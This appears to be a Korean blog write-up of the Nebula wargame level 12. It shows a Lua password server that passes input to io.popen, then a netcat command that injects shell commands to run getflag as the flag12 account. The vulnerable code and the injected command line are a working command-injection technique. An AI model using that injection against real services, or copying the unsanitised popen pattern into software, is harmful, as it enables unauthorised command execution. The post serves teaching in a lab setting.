문제에서 제공하는 lua 스크립트이다.
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
흐름을 분석하면 아래와같다.
1. 서버는 소켓모듈을 불러온다음. 로컬호스트 50001 포트에서 바인딩하고 클라이언트의 접속을 기다리고있다.
2. 만약 클라이언트의 요청이 허락되면 Password: 라는 문자열을 Client 에게 보내게된다.
3. 여기서 Client 는 stdin 으로 문자열을 입력하고, Server 는 Client 가 입력한 문자열을 사설함수 hash 에 담아 실행시킨다.
4. 그 hash 함수의 결과값을 if 절로 특정해시값과비교하고있다.
우선, 해당 lua 스크립트는 flag12 계정으로 실행되고있음을 확인하자.
이제 로컬호스트 50001 포트에 연결을해보면 소스코드나온것처럼 Password 가 출력되고 Input 창이 나오게된다.
입력한 문자열이 사설함수 hash 에서 실행된 결과를 sha1 수행한결과가 if 절의 해시값과일치하지 않아서 발생하게 되는것이다.
사실, 이렇게 if 절로 해시를 비교하는것은 의미가 없다. 그 이유는 CLient 가 입력한 Input 값을 사설 hash 함수에서
io.popen 함수로 시스템명령어를 실행하고있기때문이다. 따라서SQLi 처럼 INPUT 을 간단하게 조작하면 해결할 수 있다.
prog = io.popen("echo "..password.." | sha1sum", "r")
아래와같이 INPUT 을 조작해주면된다.
$echo 'dummy; echo $(getflag) > /tmp/commandinject ; echo dummy' | nc 127.0.0.1 50001
// 서버에서는 아래의 세개의 명령어가 flag12 계정으로 수행됨.
echo dummy; 라는 명령어,
echo $(getflag) > /tmp/commandinject 라는 명령어
echo dummy 라는 명령어
해시값이 일치하지않아 Better Luck 이 출력되었지만 그것은 상관이없는 일이고, 서버에서 getflag 의 output 의 결과를 /tmp 위치로 리다이렉션시켰기때문에 해당문제가 클리어된다.
'SystemHacking > Nebula' 카테고리의 다른 글
level14 (0) | 2023.02.22 |
---|---|
level13 (2) | 2023.02.05 |
level 10 (0) | 2023.01.30 |
level09 (0) | 2023.01.30 |
[Nebula] Level08 (0) | 2022.02.06 |